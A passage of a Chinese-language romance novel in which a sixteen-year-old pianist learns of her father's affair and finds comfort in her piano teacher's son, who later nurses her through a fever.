李炽最近不知道在哪儿不学好,有点身材焦虑,李寻倒了碗热水放他妈妈手边让她过遍水涮着吃。
“梁初灵天赋很好。”李炽说。
李寻嗯了一声,他又不是聋子。
“手指条件和乐感,都是顶尖的。就是有点浮躁。情感投入太依赖情绪,不稳定。高兴的时候能弹出花来,心里有事,就像刚才那样,只剩下炫技和噪音。”
李寻把木耳炒肉往自己这边挪了挪,李炽不爱吃木耳。又把锅包肉推过去,再看着自己妈,装模作样的把锅包肉迅速的过了遍水再塞嘴里,李寻有点牙疼。
拿舌头抵了抵牙再回复:“她才十六岁。而且家里可能最近有事。”
说完他自己都呛了一下。
他并不知道梁初灵家里有什么事,只是凭感觉。
李炽看了儿子一眼,有些意外他会接话,但没追问儿子的感觉。
她尊重李寻的所有选择,包括弹琴的还行,包括他交什么朋友,包括他未来想做什么,当然也就包括他的感觉。
只是说:“情绪是音乐的一部分,但不能被情绪奴役。要能控制情绪,而不是被情绪控制。再者说了,年龄不是借口。你不也才十六岁吗?”
“她跟我不一样。”
“是不一样。”李炽没否认,知道儿子在指什么,但也不允许儿子看低他自己,“但你引以为傲的本就不是弹琴的天赋,何况你弹琴也并不差。”
李寻没再说话。
他心里有点不以为然——
不是对于自己。
他又不是傻子,也学音乐了这么些年。对自己十分了解。
李寻的不以为然是对于梁初灵。
他想说:我们又怎么会真的知道她是什么样呢?
但他没说出来。
李寻知道妈妈看人很准,尤其是在音乐和与音乐相关的人上。
他只是莫名其妙觉得梁初灵不是看起来这样。
那个会因为怀疑自己不是亲生的就去搞亲子鉴定,会因为他一句无心的话笑得前仰后合,会帮还并不熟的他解围的人,只是看起来张牙舞爪。
接下来的几周,李寻来琴房一起上课的频率变得异常高。
几乎每次梁初灵过来,都能看到他在。
还是那副样子,话不多,脾气好得不像话。
梁初灵有时候弹烦了,会故意制造出一些恶音,李寻也只是看她一眼,再给她点些水果饮料什么的,跟哄着她弹一样。
梁初灵确实心里很烦。根源在她爸身上。
那天她自己的平板摔了开不了机,她用完她爸书房里的电脑查资料,关掉浏览器时,不小心点开了历史记录。
里面有一个陌生的网址,她点了进去。
是一个私密的图片分享链接,需要密码。
她试了试她爹的生日,她妈的生日,都不对。最后,她输入了自己的生日。
链接打开了。
里面没有多少张照片,是一个年轻女人的自拍照,在不同的场合,穿着漂亮的衣服,笑容明媚。
最后一张,是那个女人依偎在一个男人的怀里,只拍到男人的肩膀和一部分侧脸。
男人手上什么也没戴,这还挺少见的,也没有手串也没有表,光禄禄的。
梁初灵以前一直因为这个而觉得她爹不复杂不浮夸,挺清高。
哈!
现在梁初灵猛地关掉了网页,再一把清空了历史记录。
出轨。
她爸出轨了。
她不知道自己该怎么办。
告诉妈女士吗,可妈女士会信吗,她会大哭大闹吗,还是离婚?离婚了她怎么办跟着谁?
梁初灵给妈女士打电话,想听听她的声音,自己再暗示点什么。
但电话响了很久都没人接。
后来妈女士回了个信息,说在看秀,信号不好,有事回去说。
梁初灵看着那条信息,有点烦躁,但又有点庆幸,因为她完全没想好如果妈女士接了电话,那么她该如何开口。
她只是一腔冲动。
除了冲动什么也没有。正如她一把清空了浏览记录,而忘记了需要这份浏览记录的是她自己而不是她爸。
点开空荡荡的页面,梁初灵又有种被卡住牙的感觉。
小学春游时她和班上同学玩过一个游戏,叫做击鼓传花。
现在梁初灵感觉自己像那个抱着花的人,却找不到任何一个可以移交的对象。
导致她看什么都不顺眼。
在这种状态下练琴,效果可想而知。
杂念丛生,手指僵硬。
这天上课她状态奇差,平日信手拈来的指法虽然凭借肌肉记忆依旧精准,但灵动的光彩消失,只剩下蛮力。连她自己都听不下去。
李炽没说什么,只是让她再弹一遍。
梁初灵憋着一口气,手指用力地砸。即使这样带着情绪砸下去,每个音符的响度依旧控制在合理的范围内。
她是难得的手大,梆梆地砸也毫无压力。
李炽手小,灵巧,看着梁初灵这么梆梆,有点想皱眉又有点觉得带劲儿,所以没制止,跟看热闹一样睁着眼睛听又看。
休息间隙,梁初灵走到客厅喝水,李寻依旧坐在老位置。
她看着他平静的脸,心里突然就窜了上来火气。
李寻真的很平静,会提前帮她准备好需要的乐谱,在她大汗淋漓时递上纸巾,在她碰翻笔袋时帮她捡起来整理好。
凭什么他能这么平静,凭什么好像什么事情都影响不到他?衬出梁初灵的惊涛骇浪。
她放下水杯,走到李寻面前:“李寻。”
李寻抬起头,眼神询问。
“你觉得我刚才弹得怎么样?”
她等着他被她这突如其来的问题问得愣住。
但李寻没有。
他认真地想了想
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,然后看向她:“你想听真话?”
“废话。”
“技术处理上,第三小节的颤音,指尖力量散了。情感上,你在跟琴键发脾气,不是在表达音乐。”
他说的完全正确。她刚才就是在发脾气。
梁初灵一时不知道该怎么接话。
李寻看着她的表情,语气缓和:“你正常弹的时候,不是这样的。”
梁初灵心里的火气漏了。取而代之的是一种奇怪的触动。
这触动让她有一点点不安,如同谁又给她递了一粒糖。可是她却不知道该不该接。
于是她没接也没拒绝。
而是再次主动,故意把一份充满不和谐现代音阶的乐谱拍在李寻面前:“你看看这段,要是你弹,你会怎么处理?”
她想看他至少皱一下眉头。
李寻接过谱子,梁初灵紧盯他的脸,想捕捉到那一丝为难。
但他还是没有,再次还是没有。
“这段的技术难点在于左手跳跃的准确性和右手的节奏控制。你的手指机能足够,可能需要注意一下触键的深度,太浅了声音会飘。至于情感,这种现代作品,很多时候表达的不是传统的美,而是一种情绪张力,或者音响效果本身。或许可以试试,不要想着去美化它,而是去呈现这种不和谐的冲突感本身?”
梁初灵不知道为什么,突然眼睛酸酸的。有一点难过。
她不知道自己在难过什么,只好说了句好,然后先行离开,像逃跑。
那次之后,梁初灵再也不好意思故意刁难他。
心里的烦躁无处排遣,她开始在下课后,趁着收拾东西的间隙,有一搭没一搭地跟李寻聊天。
这是什么呢……她在汲取李寻的平静吗?真像个窃贼。梁初灵因此又有点看不起自己。
她不允许自己看不起自己!于是练琴更加卖力。
世界最怕天才动脑筋,李炽夸她进步神速。
梁初灵又洋洋得意起来。
这还不够,她每次还要装得超级平静的去跟李寻聊天。
也知道了他和李炽的住处就在琴房这栋楼的隔壁楼。
上课下课回家倒是方便,梁初灵心里想,那怎么还经常不来上课呢?娇气!
她发现李寻看的书很杂,不只是音乐理论,还有科幻小说历史传记,甚至一些她听都没听过的哲学书。
拜托!他也才十六岁而已啊!
气得梁初灵立刻上网网购了一堆书,看不看是其次,她先要把书房塞满。
塞满后也不看,真不是故意不看,梁初灵真没时间看。
练琴,两个字是一个大门类,音高听辨、基础训练、背谱、扩充曲目库、研究语感。更别说还得学文化课和语言……
只能说幸好梁初灵确实是个钢琴天才,省了很多别的功夫。
有时候弹琴弹累了,会凑过去问李寻:“你看什么呢?”
李寻会把书合上,让她看书名,或者简单地跟她讲讲书里的内容。
他的表述能力很好,能把复杂的东西讲得浅显易懂,偶尔还会冒出几句带着冷幽默的点评,让梁初灵忍不住笑。
她发现李寻那个看起来平静的外表底下,有一个挺丰富挺有意思的内心世界。
跟他聊天,比跟那些只会夸她或者讨论名牌的同学有意思多了。
有一次下课,时间还早,夕阳很暖。
两人一起坐电梯下楼。
走到大楼门口,李寻走向旁边一家饮品店,买了杯柠檬水。付钱的时候,看了一眼站在旁边的梁初灵。
“喝什么?”他问。
梁初灵摇了摇头,表示不喝。
但是李寻还是拿着两杯喝的出来,一杯他自己的柠檬水,一杯递给梁初灵的一杯抹茶。
“你怎么知道我想喝这个?”梁初灵有点惊讶。她好像从来没跟他说过。
李寻慢悠悠地说:“看我妈每次给你点的热巧克力,你最后都没喝完。上次你盯着我妈的抹茶看了好几眼。”
梁初灵:“……”
拿着喝的,两人没有立刻各奔东西,而是沿着人行道慢慢往前走。
已经是深秋,风有点凉,不算特别舒服。
路边的树叶偶尔飘下一两片。
周围是下班放学的人,车流穿梭,行人匆匆,
梁初灵咬着吸管,喝着甜腻的热巧克力,不太爱喝。看着身边的李寻,心里突然生出一种很久没有过的感觉。
轻松。
很简单地,喝着饮料,散着步。
这种轻松,让她关于父亲出轨的那个秘密,变得有些难以负荷。
让我再汲取一点你的平静吧……是的,我是个坏人。梁初灵叹口气。
她停下脚步。
李寻也跟着停下来,看向她。
梁初灵抬起头:“李寻,我发现我爸出轨了。”
她说完就紧紧盯着他的脸,想从他脸上看到一些平静之外的情绪。
但是没有。
李寻只是安静地等着她继续说。
梁初灵被平静感染,心里的慌乱似乎也平息了一点。
她把自己怎么发现网址,怎么猜到密码,看到了什么,都断续说出来。
说出来的这一刻,她解出了自己心里的痛苦来源——
正是因为她爸爸拿她的生日,给出轨对象的相册当作密码。
这算什么呢?
“虽然我不是个好丈夫,但我是个好爸爸?”
这算什么呢……
“我不知道该不该告诉我妈。告诉她吧怕她受不了。不告诉她吧,又觉得她像个傻子一样被蒙在鼓里,太可怜了。你觉得呢?”梁初灵故作轻松。
李寻看着远处车流的尾灯,然后转头看梁初灵不安的脸:“告诉吧。”
梁初灵一愣:“为什么?”
“我觉得你母亲可能早就知道了。”
梁初灵瞬间睁大眼睛。
李寻继续:“母亲都是很敏感的。”
4. 《新世界交响曲》
“母亲都是很敏感的。”
李寻其实还有没说出来的话:你也是很敏感的。如果不说,你会一直背负着这样的压力,左右为难。这本不应该是你要去承受的一切。
他没说,因为他知道梁初灵会反驳,反驳自己很厉害很强大很能扛事。
李寻不这么认为,也就不想听这些反驳。
梁初灵回了家,自己独自品味着这句话,脑子里乱糟糟。
她知道妈女士有点作,知道妈女士爱她自己胜过爱一切,但她没想过,妈女士那张总是叭叭叭说个不停的嘴,可能也藏着洞悉一切后的沉默。
这种可能性让她坐立难安。
她需要一个答案,哪怕这个答案会让她更坐立难安。
找了个妈女士大概率心情比较好的时间点,梁初灵拨通了越洋视频。
妈女士果然敷着面膜,背景是酒店房间的落地窗。
“宝贝儿!想妈妈啦?”妈女士的声音语调上扬。
梁初灵懒得铺垫,她像背诵课文一样,把关于爸爸出轨发现说了出来。说完,她心脏如擂鼓,准备迎接一场天崩地裂。
妈女士不知道从床上哪里捞了条丝巾出来,手机架在手机架上,她两只手比划着,手法娴熟地变换着各种系法。
听完后,依旧动作没停,丝巾在手里绕了一圈,打了个漂亮的结。
这才重新看向视频,“好看吗?”
妈女士没头没脑回了一句,晃了晃手里的丝巾。
梁初灵懵了:“啊?”
“我说这条丝巾,”妈女士把丝巾举到梁初灵面前,“红色的,下次你比赛就给你戴这条,昨天特意选的。”
“妈!我在跟你说我爸出轨!”梁初灵提高音量,这都什么时候了!
妈女士放下丝巾,隔着屏幕似乎想摸摸她的头,但隔着屏幕,所以中途又放下。她叹了口气,那口气很长,带着点这个年纪女性特有的冷飕飕。
“宝贝,妈妈早知道了。”
梁初灵像被钉住,“你知道?你怎么知道的?你知道了怎么不跟我说?你什么时候知道的?”
心里想,李寻应该去摆摊算命。
“一是你爸西装偶尔沾上的香水味不是我用的任何一种,另一个一是他最近一年应酬多到快要把公司当家了。这不,答案比一加一等于二还简单吧。”
“那你就这么忍着?”梁初灵无法理解,她想象中的母亲,应该是拳打爸爸,立刻离婚,手撕小三,捍卫家庭才对。
妈女士抬起手,小心揭下面膜,露出下面那张保养得宜的脸。
“宝贝,生活不是八点档狗血剧。拆穿了然后呢?离婚分割财产?让你变成单亲家庭的孩子?我们现在不能拆穿。为了你,也不只是为了你,为了很多事。你爸公司现在正是关键时期,股权啊,投资啊,乱七八糟一堆事儿。你马上就要申请学校,也是关键时期。还有妈妈明年计划好的旅行,订的都是不能退的奢华酒店。牵一发动全身啊宝贝!这时候闹翻了对你没好处,对妈妈也没什么好处。”
她用一种近乎幽默的语气说着最现实的话。
“再说了,拆穿了又能怎么样呢?一哭二闹三上吊那都是过时的戏码了,宝贝。现在流行的是体面。暂时就当不知道啊,稳住,我们能赢。”
她甚至还有心思开玩笑,“你看妈妈这些新款包包,漂亮吧?它们可都需要一个稳定的经济来源。”
梁初灵听着她妈用跳脱的语调,剖析着一个家庭里的算计和隐忍,只觉得牙齿都在打颤。
这种成年人的世界,让她感到被排除在外。
我们不是一家人吗?
虽然我们不常见面,也不在一起生活,可是我们是一家人啊。
是彼此最珍贵的家人。
我以为你们需要我就像我需要你们,我以为你们需要彼此就像我需要你们需要彼此。
怎么不是呢,怎么就我不是。
世界是一片黏糊糊的灰。
妈女士看着她瞬间沉下去的脸,眼神软,语气柔:“好了,宝贝,别想那么多。这些事儿有妈妈呢,你只管好好弹你的琴,等你以后成了大名鼎鼎的钢琴家,赚大钱了,妈妈就指望你养活了,到时候一脚把你爸踹了!”
这安慰像蛛网。
梁初灵有点无措。仓促挂断了视频。
房间里重新安静,只剩下失落迷茫。
环顾四周,是无处不在的体面。
整个世界仿佛都变得虚假和不可靠。
父亲是骗子,母亲是共犯。
她像个突然被扔进迷雾里的孩子,看不清方向,也找不到依靠。
然后,她想起了李寻。
想起他平静的眼神,想起他说的话。
他早就猜到了。他是不是也像看一个傻瓜一样看着她纠结慌乱?
但这个念头只是一闪而过。
更多的是一种迫切的需要——
她需要能理解这种混乱的有李寻。
总是安安静静,在所有纷扰之外的李寻。
——
手指砸在琴键上,《冬风练习曲》被她弹得像一场真正的西伯利亚暴风雪,冰冷狂暴。
李炽评价了一句:“技巧还在,音乐死了。”
李寻解了一句:“还挺充满毁灭感的,我听着感觉还能更狂暴一点。”
梁初灵开始在下课后缠着李寻:
“李寻,这段双钢琴的配合我还有点模糊,我们再讨论一下谱子?”
“李寻,这段谱子李老师讲的这个地方,你再帮我听听?”
“李寻,我这遍弹得是不是好多了?”
“李寻,我不想回家。你陪我走走吧。”
李寻从不追问,只是点点头跟在她身后。
去的都是一些没什么目的性的地方。
活动范围开始以李炽的小楼为圆心,向外不规则扩散。
在附近的一家书店。
李寻拐进了漫画区,抽出一套。
封面是个穿校服的女生,背景是巨大的机器人,印着《新世纪福音战士》,问她:“看过吗?”
梁初灵摇头。她的童年被黑白琴键填满。
李寻就找了个角落,把漫画翻到第一页,梁初灵就看到碇真嗣站在巨大的机器人面前,眼神迷茫。
“讲什么的?他是主角吗?他最后怎么样了?”她问,她喜欢提前知道结果。
“他是主角,后来长大了,在一个没有EVA的世界。讲什么的……”李寻想了一下,“讲的是不要逃。”
从书店出来,刮着北风,梁初灵缩了缩脖子。
街边有个烤红薯摊,铁皮房子里住着烤红薯。
她还没说话,李寻已经走过去买了一个,掰成两半,递给她那份用纸巾包好。
红薯很烫很甜,两人就站在街边,呵着白气吃烤红薯。
吃完梁初灵拉着李寻去逛商场。
故意把他拉到女装区,她带着点恶作剧的心态,指着一条连衣裙,重现她与母亲的电话场景:“李寻,你说,那条裙子是蓝色好看还是红色好看?”
李寻眼神在那两条裙子上流转,然后转回头看着梁初灵:“红色。”
“为什么?”
“像你弹革命时的样子。有力量,很耀眼。”
梁初灵有点不自然地别开脸,“那就红色吧。”
李寻无声吸收她所有莫名的情绪和任性的举动。
不评价,不干涉。
有的人只是存在就可以成为浮木。
浮木也有被卷入风浪中心的一天。
周末的下午,梁初灵又以不想回家为由,拉着李寻在市中心闲逛。
刚从一家唱片店出来,梁初灵手里拿着李寻推荐的一张交响乐专辑,正低头拆包装。
一抬头,她整个人僵在原地。
街对面,一家店的临窗位置,她父亲正和一个年轻女性坐在一起。
女性穿着得体,笑容温婉,是照片里的那个人。
两人坐得很近,梁父脸上带着梁初灵很久没见过的愉悦笑容,正把一块蛋糕递到那个女性嘴边。
梁初灵连唱片袋都快握不住。
李寻察觉到她的异样,顺着她的目光看过去,也看到了那一幕。
就在李寻还没想好该说什么或者该怎么做的时候,梁初灵突然动了。
她伸出手紧紧挽住李寻的胳膊,拉着李寻跑到那家窗户外,站定,身体故意紧紧靠向李寻,再朝着里面喊道:“爸!好巧啊!”
说完还伸出左手轻轻拍了拍窗玻璃。
梁父脸上并不慌乱,身边的年轻女性却有些局促地低下了头。
梁初灵拉着僵硬的李寻,她能感觉到李寻肌肉紧绷,但他没有挣脱,反而调整了一下姿势让她靠得更稳。
“这位是?”梁初灵看向那个脸色已经开始不自然的年轻女性。
梁父的脸色这才变了几变,从错愕到尴尬,最后强行恢复成威严:“是爸爸一个合作方的同事,谈点事情。这位是?”
问的是李寻,用的是梁初灵的口吻。
李寻没有看那个年轻女性,只迎向梁父。他知道这个问题不由他来回答。
“我和同学出来买书。这是李寻,我钢琴老师的儿子。”梁初灵答。
李寻于是拉了个笑,点了点头:“叔叔好。”
“我们书还没买完呢,先走了爸!”
梁父咳了一声:“早点回家,别在外面瞎逛。”
“知道啦!”梁初灵抢着回答,声音又脆又假,“那我们走啦!”
梁初灵拖着李寻,逃离现场。
直到彻底看不见店,她才松开李寻的胳膊。
李寻站在她旁边,什么也没问。
他背了个斜挎包,从包里抽出张湿巾,递过去,梁初灵没接。
李寻看着梁初灵左手沾满了灰,刚才拍玻璃拍的。
只好隔着湿巾拉起了梁初灵的左手,给她仔细擦了一遍。
全程都隔着一张湿巾。
梁初灵突然觉得眼眶湿润。
之前那些对父亲的失望,对妈女士妥协的不解,此刻都变成对自己临阵脱逃的厌恶。
想起跟妈女士说的时候,义愤填膺,觉得她不敢直面真相,是懦弱是算计。
觉得父亲是骗子,虚伪。<
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p>可是,结果,竟然,自己迎面撞上了,明明可以冲进去,指着父亲的鼻子骂他是个混蛋!
可是,结果,竟然,自己像个傻子一样,拉着李寻演戏,说好巧,然后落荒而逃。
可是,结果,竟然,自己甚至不敢多看那个女性一眼,只敢在背后愤怒,到了台前也只会逃跑。
梁初灵的眼泪终于忍不住,她觉得自己糟糕,不仅生活一团乱麻,自己还变成了自己看不起的样子。
怎么会是她自己把自己排除在外的。
她想起了一点别的事,李寻跟她讲那部她已经忘记了叫什么的漫画,讲的是“不要逃”。
不要逃。可是她在逃。是否是她太软弱。
李寻像是完全明白她现在在想什么,他说:“梁初灵,你逃跑,不是因为软弱。”
梁初灵抽泣着,泪眼朦胧看他。
李寻眼神温和,他比梁初灵高,此刻稍微弯腰,和梁初灵眼对眼,语气笃定:“一个家庭里面,当父母的帷幕自己不愿意揭开或者选择用另一种方式维持的时候,孩子冲上去撕扯,除了让自己遍体鳞伤,让场面更加难堪之外,改变不了任何东西。”
面对面,眼对眼,于是他那双浅色瞳孔里面映出她狼狈的脸。
梁初灵才发现李寻的瞳孔真的很浅,比琥珀色还要浅。
“那不是你的战场。你选择离开是理智。在一个你已经预感到会输而且输了也毫无意义的对峙里,保存自己是唯一正确的事。孩子本就是无能为力的。这不是你的错。”
孩子本就是无能为力的。
是啊,她能做什么呢?
冲上去大吵大闹让她爸当场下不来台,让她妈维持的体面粉碎,让这个家连表面上的平静都维持不住。
总不可能是指望她爸会因为她的撞破而幡然醒悟痛哭流涕地回归家庭吧。
太荒谬了。
她改变不了父亲,也替代不了母亲去做决定。
她被困在这个由成年人编织的网里,所有的愤怒委屈和反抗,都最终反弹回来伤到自己。
在这个由她父母主导的家庭剧本里,她这个女儿的角色,本就设定为无能为力。
眼泪流得更凶,李寻这次没有再沉默,他抽出纸巾——
梁初灵没等他递,直接拿过。
“那我该怎么办?”
“好好学习,好好弹琴,好好想你自己。你是一个天才,还记得吗?你是要去开辟新世界的。”
梁初灵点点头。
李寻问:“现在想去哪儿?还是回家?”
梁初灵擤了下鼻子,摇了摇头。
“不想回家。陪我再走走吧。”她说。
“好。”李寻点点头。
两人再次并肩,沉默地走入初冬傍晚里。
梁初灵还有点觉得对不住李寻,是她把李寻拉入了自己混乱的战场,她们之间那种私下的慰藉,被强行推到了台前,但她不打算道歉。
李寻也不需要她的道歉,心里也清楚,有些界限在他默许她挽住他胳膊的那一刻,就已经模糊了。
其实这时他就意识到了,梁初灵正在汲取他的“平静”,把它当作对抗整个世界混乱的盾牌。
李寻有一点内心挣扎,这是否越界?
他习惯了一个人,习惯了旁观。
可是,看着她此刻的脆弱,他发现,自己无法抽身离开。
他在心里对自己说:只是陪着她,直到她度过这段时间。等她家里的事平息下来,等她重新变回那个骄傲的天才就好了。
但这个‘只是’开始变得不那么纯粹。
李寻开始更关注她的情绪,在她弹琴心浮气躁时,对着谱子发呆时,会找个话题分散她的注意力,试图为她做一点事情,并且为自己每个举动都找好理由。
做好了被问起时可以对答如流、用以解释自己无害动机的一切准备——
尽管根本无人问……
李炽不在乎,梁初灵不敏感。
李寻自己跟自己打擂台打辩论累得够呛,回头一看,也没裁判也没观众。
晚上月色很好,两人又一次磨蹭到很晚才离开琴房的楼。
站在楼下,梁初灵看着天空,突然不想回家。
她拿出手机插上耳机,递了一只给李寻。
“听吗?”她问。
李寻接过耳机塞进耳朵。
梁初灵选了一首德沃夏克的《新世界交响曲》,第二乐章,悠远又带着愁绪的旋律缓缓流淌。
她们并肩站在冷的月光下,共享着同一首暖的交响乐。
音乐隔绝了外界。
梁初灵能听到自己过速的心跳,不知道是因为刚才走得太急还是因为别的什么。
她偷偷侧看向李寻。他仰着头看星空。
耳机里的管乐奏出宽广大路,弦乐则温柔去往暗道。
梁初灵忽然觉得,这一刻世界很安静也很吵闹。
安静得只剩下音乐和心跳,吵闹得她能感觉到身边这个人平稳的呼吸。
她不确定他是否能听到她的心跳。
但她的心跳,在交响乐的掩护下,正悄悄地试图与新世界同步。
5. 《安眠曲》
那晚星空下的交响乐之后,有些事情好像开始变得不一样。
梁初灵找李寻的频率,从经常升级到了几乎每天。
理由五花八门,核心思想高度统一:我不想一个人待着。
李寻照单全收。
他好像有个专门应对梁初灵的开关,只要她出现,模式就会自动启动。
陪她溜达,陪她喝饮料,陪她在漫画区一蹲就是一下午,听她吐槽学校哪个老师又布置了变态作业,或者妈女士又买了什么匪夷所思的家具。
关系在这种密集的相处中迅速拉近。
梁初灵甚至开始觉得,去找李寻就像回另一个家。
有一天午夜梦回,她惊得坐了起来——
不会她爹也是在享受这种快乐吧!
所以不回自己的家,在外面给自己找了另一个家!
惊得她后半夜再也没睡着。
周六下午,她们刚在李炽那里上完课,结果外面下起瓢泼大雨,还夹着冰雹,噼啪作响,跟世界末日一样。
梁初灵想起自己很小的时候所知道的世界末日,是举世瞩目的2012年12月21日,她想着就拿手机看了一下日历,居然今天也是12月21日。
她心潮澎湃!
梁初灵喝着李寻给点的抹茶、吃着李寻给买的小蛋糕、头发上别着李寻发现她的刘海有点挡眼睛了所以给买的发卡,心里不觉讶异:世界末日欸,她和李炽和李寻在一起经历世界末日,好像还不错。
十六岁的梁初灵,成长成熟得很正常,但依旧是少年人。
少年人面对世界末日的幻想,不曾害怕,只觉新奇。
比起在乎如何生存下去,更在乎当世界末日来临时、当危险扑面而来时,自己身边会是谁。
是谁,很重要,梁初灵有隐隐的预感,自己在谁身边,似乎就会被塑造成与之相关联的人。
她想被谁塑造成怎样的人呢?
主角依旧是她,但主角当然可以被重要的人所改变,这无比吸引人,这魅力无限。
“这天气。”梁初灵看着窗外皱眉。
司机今天请假,她本来打算自己打车回去。
“雨小了再走吧。”李炽看了眼窗外,转头对李寻说,“要先带初灵去咱们家待会儿吗?”
她有事情要回家用电脑处理,她自己手机没挂梯子。而且李寻也有试卷没写完。
但如果把梁初灵一个人留在琴房也实在不放心,还是小孩儿呢。
尽管如此,李炽还是会问问儿子的意见。
家,对她而言,对李寻而言,还是不一样的。
她也好,李寻也好,都没邀请过朋友同学回家做客。
较为疏离的关系,各自独立的母子,性格冷淡的两人,却如此重视“家”的存在。
如果李寻表现出有一点为难,李炽就绝不会第二次提出这个意见。
但是李寻说了一声好,还帮忙把梁初灵的水杯塞到了她书包的侧袋里,再替她拿起了那个笨重的书包。
三个人直接电梯下到负一楼,从地下停车场里去到属于家的那栋楼。
到家后,李寻去厨房倒了两杯温水,递给李炽和梁初灵。
“谢谢。”梁初灵接过杯子,有点好奇地打量起这个家。
面积不算特别大,布局开阔,视野极佳。
装修依旧极简,大量的白和灰,不近人情。
靠墙放置了一排顶天立地的书架,塞满了书和乐谱,还有角落里那架立式钢琴。
梁初灵自己家,拜妈女士极繁主义、以及喜欢买奢侈品、导致配货配了很多奇奇怪怪的家具所赐,堆得挺花团锦簇。
她对自己家兴致缺缺,也没怎么见过别人家,心里只觉李寻家很有人情味。
因为担忧她没法回家,也不忍她一个人呆在琴房,所以带她一起、邀她做客。
像描红一样,印着原迹描摹一遍,出来的却是自己的性状和理解。
于是这不近人情的装修风格,此时看来却难为情。
李寻看她捧着杯子发呆,以为她无聊,便说:“要不要看会儿书?或者看电影?”
“都行。”梁初灵其实无所谓做什么。
最后她们窝在客厅那张沙发里,用投影仪看一部动画片。
李炽进了书房关上门,大概是在处理工作。
电影看到一半,梁初灵还没入戏,突兀想起:“为什么琴房里有个那么大的主席像啊?”
“我妈崇拜他……”李寻答完自己都觉得像开玩笑,但偏偏是真相。
梁初灵没那些心眼,李寻说的她就信,点点头,觉得李炽真的很酷,更喜欢了。
李寻看她恹恹,想去给她拿点吃的。
沙发不大,两个人坐得很近,李寻起来时手背不小心碰到梁初灵的手,梁初灵没什么反应,结果李寻一把抓过她的手——
温度很高。
梁初灵惊得抬头。
抬头正好,李寻拿手背触她额头。
梁初灵惊得又低头。
低头正好,梁初灵扎的马尾此时偏向一侧,李寻从脖颈处看,她只穿了一件很薄的卫衣,都没加绒。
李寻有点怪自己观察还是不够仔细:“你发烧了。”很笃定的语气。
“啊?”梁初灵寻思自己还挺有精神头的啊,伸手摸了摸自己额头。
确实有点烫——
立竿见影,立刻觉得昏昏沉沉。
“我头好晕啊李寻。”太立竿见影,梁初灵感觉喉咙都开始痛,往后靠在沙发上,觉得呼吸都堵。
“你等我一下。”李寻说完就去把阳台的门打开了一些,阳台没关窗户,此刻空气正好流动进来。再去倒了杯温水过来让梁初灵慢慢喝。
观察了一会儿,梁初灵一边喝一边偷摸看电视,李寻想笑又觉得有些替她难受,想叹气又觉得不合适。忍住笑,忍住叹气,只好起来走开——也忍住观察。
梁初灵看他走了也没觉得什么。
之前有一次应该是半夜生病,是早上看她已经迟到了还没起、所以上楼来喊她起床的保姆发现的。
梁初灵半梦半醒,以为是妈妈回来,抱着保姆不撒手喊妈。
保姆阿姨心疼的用嘴唇触她的额头又触她的耳垂。
想着想着有点出神,梁初灵觉得自己应该是一个挺幸运的人。
她不喜欢要求太多。
自己有能支撑她求学的家庭,有能支撑她野心的天赋,有每一次生病都能康复的好身体,有任何人走开她都能接受的好状态,有那样一颗心,也有关心她那样一颗心的人。
她实在太幸运。
幸运的她有点晕乎,晕乎的她依旧觉得幸运。
“别睡,去床上睡。我刚把四件套都换了。”李寻突然出声。
李炽家是三室一厅,但是其中一室和书房打通当作了很大的办公间,卧室只有两间。
二人都不带外人回家,留一间客房装模作样没意思。
李寻只能把梁初灵暂时安顿在自己的卧室。
还是开了半扇窗,开大了怕吹严重了,开小了又怕形成刀锋风。
梁初灵吃了药喝了水躺下,迟来的晕乎乎,脑子晃来晃去,晃出来一句真心话:“为什么你说不要逃,却又要我逃?”
没前没后,没头没尾,但李寻一下就懂,他俯下身轻轻说:“因为他有EVA有金手指有超能力,你却只能依靠你自己的力量,不要拿成功的样本去套在自己身上,那很不公平。你已经很棒了。”
梁初灵没法回复,药物也让她困倦。只感觉谁在她耳边讲梦话:“睡会儿吧,梁初灵。”
好,她在心里回。
今天是世纪末日欸,她在心里想。
梁初灵这一觉睡得并不安稳。
她觉得自己像一艘在风浪里颠簸的小船。
时冷时热,梦里光怪陆离,一会儿是父亲的脸,一会儿是母亲的背影,最后定格在李寻用手背触她额头的瞬间,触感真实。
迷迷糊糊间,她感觉有人帮她掖了掖被角,动作很轻,有湿毛巾覆上她额头。
再次有清晰意识时,窗外的天已黑透雨也停。
睁开眼花了点时
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间认出这不是自己的房间。
有淡淡的属于李寻的干净气息。
她动了动,感觉身上轻松不少。
“醒了?”
声音从门边传来。李寻靠在门框上没有进来。
“嗯。”梁初灵撑着坐起来,靠在床头。身上换了件棉T恤和棉长裤。
“我妈帮你换的,你自己的衣服汗湿了。”李寻这才走进来,把杯子递给她:“温的,梨水,喝吧。”
梁初灵接过来,喝着也看着李寻。
“几点了?”她问。
“晚上九点多。”李寻拉过书桌前的椅子,在床边坐下,“你睡了三个多小时。”
“噢。”梁初灵捧着杯子。
这个房间安静,隔壁是书房,能听到李炽敲键盘的声音。
她也听到李寻扭了扭脖子的声音。
有人在你身边、在你附近,各自忙碌,互不打扰,却又彼此存在。
“饿不饿?”李寻又问,“我熬了小米粥。”
梁初灵其实没什么胃口,但肚子叫了一声。
她有点窘,又觉得这是人之常情!
于是一边脸红一边仰起头。
李寻笑了一下,“我去给你盛一碗。”
他站起身。
“等等,”梁初灵叫住他,“你一直在这儿?”
李寻没有回头:“没有。偶尔进来看看。”
梁初灵喝着粥,心里那种奇怪的感觉又来了。
生病时有人照顾,饿的时候有粥,在一个不属于自己的空间里。
“你还会熬粥啊?”她没话找话,想象不出李寻那双在琴键上飞舞的手做法的样子。
“嗯。梨水也是我煮的。我还会做别的。想吃吗?”
“想想想,嘿嘿嘿。”梁初灵不好意思的笑笑。
“别不好意思,我也没打算做。”李寻故意逗她。
“……”梁初灵想翻白眼,谁稀罕!
李寻忍不住笑。
梁初灵不在意,继续说:“你们家挺好的。”
也许是生病让人脆弱,也许是梨水和粥软化了她,梁初灵忽然生出一点委屈。
“你家好好啊。”她又重复了一句。
李寻这下是真的想叹气:“下次不舒服,可以打电话给我。”
梁初灵看向李寻。
他坐在那里,灯光在他脸上投下,显得很活泼,即便他本人并不那么活泼。
灯光像帷幕,舞台却是李寻的脸,很华彩的一座舞台。帷幕半落不落,那条分界线很曲折,让梁初灵想起自己拿左手画画时那样曲折。
遮盖住的是什么?
末日对大人而言总是来得快,可对小孩而言还是慢,比想象来得慢,也比情感来得慢。
可是这赶路的时间被抽帧,一帧、一帧、一帧,导演简直要哽咽,哽咽完,帷幕后驶出一座线条曲折的船。
梁初灵心里想,这艘船带着她渡过了这场末日。
